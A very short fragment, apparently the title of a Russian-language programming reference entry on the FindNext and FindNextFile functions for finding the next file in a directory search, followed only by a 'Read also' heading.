FindNext - FindNextFile - поиск следующего файла
Читайте также: